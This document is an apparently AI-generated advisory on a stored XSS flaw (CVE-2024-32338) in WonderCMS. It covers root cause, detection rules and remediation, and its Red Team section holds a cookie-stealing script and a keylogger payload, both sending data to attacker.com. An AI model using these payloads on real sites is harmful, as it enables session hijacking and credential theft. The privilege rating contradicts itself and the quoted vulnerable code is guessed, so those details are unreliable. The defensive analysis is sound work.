CVE-2024-32338

Executive Summary

CVE-2024-32338 is a stored Cross-Site Scripting (XSS) vulnerability discovered in WonderCMS v3.4.3, specifically within the Settings section of the application. The flaw resides in the PAGE TITLE parameter under the Current Page module, allowing an authenticated attacker with administrative privileges to inject arbitrary web scripts or HTML. When the crafted payload is stored and later rendered in the browser of any user viewing the affected page, the malicious script executes in the context of the victim's session. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), reflecting the need for user interaction and low privileges but a potential for significant impact on confidentiality and integrity. No official patch has been released as of this analysis, and a public proof-of-concept (PoC) is available, increasing the risk of exploitation.

Supply Chain & Package Security

WonderCMS is a flat-file PHP content management system distributed via GitHub and its official website. The vulnerability affects the core application code, not a third-party package. However, administrators should verify the integrity of their installation by comparing file hashes against the official release. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication to trigger the stored XSS, but the injection requires admin-level access.
• User Interaction (UI): Required – The victim must visit the affected page.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for admin-level injection reduces the attack surface, but once injected, any user viewing the page is at risk. Public PoC availability increases the likelihood of exploitation.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the PAGE TITLE field of the Current Page module within the WonderCMS admin panel. The application fails to properly sanitize or encode user-supplied input before storing it in the database (flat-file) and later rendering it in the browser.

Root Cause: The PAGE TITLE parameter is not sanitized using functions like htmlspecialchars() or strip_tags() before being saved and displayed. When an admin saves a page title containing malicious JavaScript, the payload is stored in the site's configuration file (e.g., database.js). When any user (including other admins or visitors) loads the page, the title is echoed directly into the HTML without proper escaping, causing the browser to execute the injected script.

Attack Flow:

1. Attacker gains admin credentials (via phishing, brute force, or other means) or exploits another vulnerability to obtain admin access.
2. Attacker navigates to the Settings > Current Page section.
3. Attacker injects a payload such as <script>alert('XSS')</script> into the PAGE TITLE field.
4. The payload is stored in the site's configuration.
5. When any user visits the affected page, the script executes in their browser context.

Impact: Session cookie theft, redirection to phishing pages, keylogging, or defacement.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3): In the file system/classes/helpers.php or similar, the page title is likely output without sanitization:

echo $page->title;

Patched Code (Hypothetical): The patched version would use htmlspecialchars() to escape output:

echo htmlspecialchars($page->title, ENT_QUOTES, 'UTF-8');

Since no official patch exists, administrators must manually apply this fix or use a WAF rule.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for WonderCMS v3.4.3.
• Access to the admin panel at /loginURL.

Exploitation Steps:

1. Log in to the WonderCMS admin panel.
2. Navigate to Settings > Current Page.
3. In the PAGE TITLE field, inject a payload. Example:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Click Save.
5. Any user visiting the affected page will have their cookies sent to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'https://attacker.com/log.php');
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
}
</script>

Blue Team

Detection:

• Monitor admin panel access logs for unusual changes to page titles.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to the settings endpoint.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for <script> tags in the database.js file or equivalent configuration file.
• Check for unexpected redirects or outbound connections from the CMS.

Lab Setup:

1. Download WonderCMS v3.4.3 from the official GitHub repository.
2. Install on a local server (XAMPP, LAMP, etc.).
3. Create an admin account.
4. Reproduce the vulnerability as described above.

Indicators of Compromise (IOCs)

• File-based IOCs:
  • Suspicious entries in database.js containing <script> tags or event handlers (e.g., onload, onerror).
  • Modified timestamps on configuration files.
• Network IOCs:
  • Outbound HTTP requests to unknown domains from the CMS server.
  • Unusual POST requests to /admin/save with encoded JavaScript in the title parameter.
• Log IOCs:
  • Admin login events followed by page title changes.
  • Repeated access to the same page with varying query parameters (potential XSS probing).

Detection Engineering

YARA Rule

rule Detect_WonderCMS_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in WonderCMS database.js files"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-32338"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $event_handler
}

Sigma Rule

title: WonderCMS Stored XSS via PAGE TITLE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts in WonderCMS admin panel
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/admin/save"
        cs-uri-query|contains: "title="
        cs-uri-query|re: "title=.*<script"
    condition: selection
falsepositives:
    - Legitimate use of HTML in page titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32338 WonderCMS Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/save"; http_uri; content:"title="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Code Fix: Edit the file responsible for rendering page titles (likely system/classes/helpers.php or themes/yourtheme/index.php) and wrap the output with htmlspecialchars():

   echo htmlspecialchars($page->title, ENT_QUOTES, 'UTF-8');
   

2. WAF Rule: Deploy a WAF rule to block POST requests to /admin/save containing <script> tags or event handlers.
3. CSP Header: Add a Content Security Policy header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
   

Long-term Actions:

• Monitor the WonderCMS GitHub repository for an official patch.
• Consider migrating to a more actively maintained CMS if no patch is released.
• Implement regular security audits and penetration testing.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.